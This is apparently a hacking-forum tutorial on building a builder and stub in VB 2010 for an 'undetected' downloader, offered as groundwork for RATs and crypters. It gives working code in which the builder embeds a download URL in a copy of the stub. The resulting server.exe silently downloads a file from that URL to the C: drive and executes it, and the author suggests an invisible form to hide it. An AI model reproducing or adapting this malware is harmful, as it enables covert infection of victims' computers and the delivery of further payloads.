Ok, so I have seen a lot lately people asking about how to create Ratz or Crypterz without any expirience in VB 2010. They all think it s just few stupid lines of code and you have a best Rat or Crypter in the world, well it is not. I will show you how to make a builder and a stub for simple pretty UD downloader. So lets begin.
If you dont know actualy what stubs and builders are, these are exe files wich generate a custom server based on input in builder and (lets call it) template in stub. As a final result we get a server.exe.
Lets begin...
First we will start off with creating a builder.So start VB 2010, new project->New Form Application and name it whatever( I suggest something relevant ex. Downloader-Builder). Ok, now create one textbox and one button(text box will be used to get download url, and button for building server.exe). Edit your button and textbox as showed in pic...
Spoiler (Click to View)
Ok once that is done double click button and copy this text in sub part
Code
Dim Stub As String = CurDir() & "\stub.exe" 'Stub should be in Builder's Directory
If IO.File.Exists(Stub) = False Then 'If it's not then
MsgBox("No Stub Found", MsgBoxStyle.Exclamation) 'display a message
Exit Sub 'and Exit the rest of the Sub
End If
IO.File.Copy(Stub, CurDir() & "\server.exe") 'Copy stub as Server
IO.File.AppendAllText(CurDir() & "\server.exe", "FileSplit" & TextBox1.Text) 'Add user-settings to Server with a FileSplitSpoiler (Click to View)
And we are done with the builder, save project and make builder.exe...
Now we have to make a stub, in VB again new project->New Form Application. I suggest you make this form invisible because your server will be invisible then,but you dont have to. Double click in form and copy this text in it.
Code
Dim BinText As String = IO.File.ReadAllText(Application.ExecutablePath) 'Read All Text in Itself and store in variable BinText
If BinText.Contains("FileSplit") = False Then Exit Sub 'If there is the same Builder's FileSplit then
Dim ArrContents() As String = Split(BinText, "FileSplit") 'Store BinText splitted by FileSplit
For num As Integer = 1 To UBound(ArrContents)and we only have to add downloader code, wich is realy simple
Code
My.Computer.Network.DownloadFile(ArrContents(num), "c:\this will be the name of downloaded file.exe")
Process.Start("C:\name of the file we set above.exe")Spoiler (Click to View)
And that is it!!Save it, build stub.exe put them in the same directory and voila... you have created a builder and stub for the downloader server. Of course you can edit GUI as you wish but basicly this is a core of your program. I am not an expert in VB 2010, but this helped me in my learning so I decided to share it with others. I am author of this text, but I didnt code builder and sub on my own I learned this code over other tutorials.
I am sorry for my grammar misstakes( I belive there lots of them, but I think you were able to understand what I have writen.)
Dont forget to say thanks... Enjoy ;D
